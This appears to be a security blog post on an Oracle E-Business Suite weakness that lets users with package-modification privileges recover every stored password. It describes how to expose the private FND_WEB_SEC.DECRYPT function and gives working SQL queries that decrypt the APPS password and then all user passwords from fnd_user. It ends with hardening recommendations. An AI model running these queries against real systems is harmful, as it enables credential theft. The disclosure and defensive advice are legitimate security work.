Oracle E-Business Suite Vulnerability: Users Passwords Decrypted

Johan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:

  SQL> desc fnd_user;
   Name                                      Null?    Type
   ----------------------------------------- -------- ----------------

   USER_ID                                   NOT NULL NUMBER(15)
   USER_NAME                                 NOT NULL VARCHAR2(100)
   LAST_UPDATE_DATE                          NOT NULL DATE
   LAST_UPDATED_BY                           NOT NULL NUMBER(15)
   CREATION_DATE                             NOT NULL DATE
   CREATED_BY                                NOT NULL NUMBER(15)
   LAST_UPDATE_LOGIN                                  NUMBER(15)
   ENCRYPTED_FOUNDATION_PASSWORD             NOT NULL VARCHAR2(100)
   ENCRYPTED_USER_PASSWORD                   NOT NULL VARCHAR2(100)
  ...

The column ENCRYPTED_USER_PASSWORD stores the encrypted value of the user’s password. The column ENCRYPTED_FOUNDATION_PASSWORD stores the encrypted value of the guest user.

To decrypt the ENCRYPTED_USER_PASSWORD you need access to the DECRYPT function in the APPS.FND_WEB_SEC package. Since DECRYPT is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.

FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2)
  RETURN VARCHAR2;

The key is the decrypted ENCRYPTED_FOUNDATION_PASSWORD. The value is the ENCRYPTED_USER_PASSWORD.

So, the first step in the decryption of a user’s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:

  WITH guest AS
       (
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                1,
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                         '/'
                                        )
                                - 1
                               )
                       ) user_name
            FROM DUAL)
  SELECT fnd_web_sec.decrypt (guest.user_pwd,
                              fnd_user.encrypted_foundation_password
                             ) apps_password
    FROM fnd_user,
         guest
   WHERE fnd_user.user_name = guest.user_name

Now, using the above query, we can now decrypt all the values in the FND_USER.ENCRYPTED_USER_PASSWORD column:

  WITH guest AS
       (
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                1,
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                         '/'
                                        )
                                - 1
                               )
                       ) user_name
            FROM DUAL)
  SELECT   fnd_user.user_name,
           fnd_web_sec.decrypt
              ((SELECT fnd_web_sec.decrypt
                                         (guest.user_pwd,
                                          fnd_user.encrypted_foundation_password
                                         ) apps_password
                  FROM fnd_user,
                       guest
                 WHERE fnd_user.user_name = guest.user_name),
               fnd_user.encrypted_user_password
              ) decrypted_user_password
      FROM fnd_user
  ORDER BY fnd_user.user_name

VOILA!

Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package APPS.FND_WEB_SEC. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.

Updated a few hours later: Stephen Kost just blogged about this subject. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method. So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.

Updated January 9 2007: Oracle Applications Password Decryption (PDF)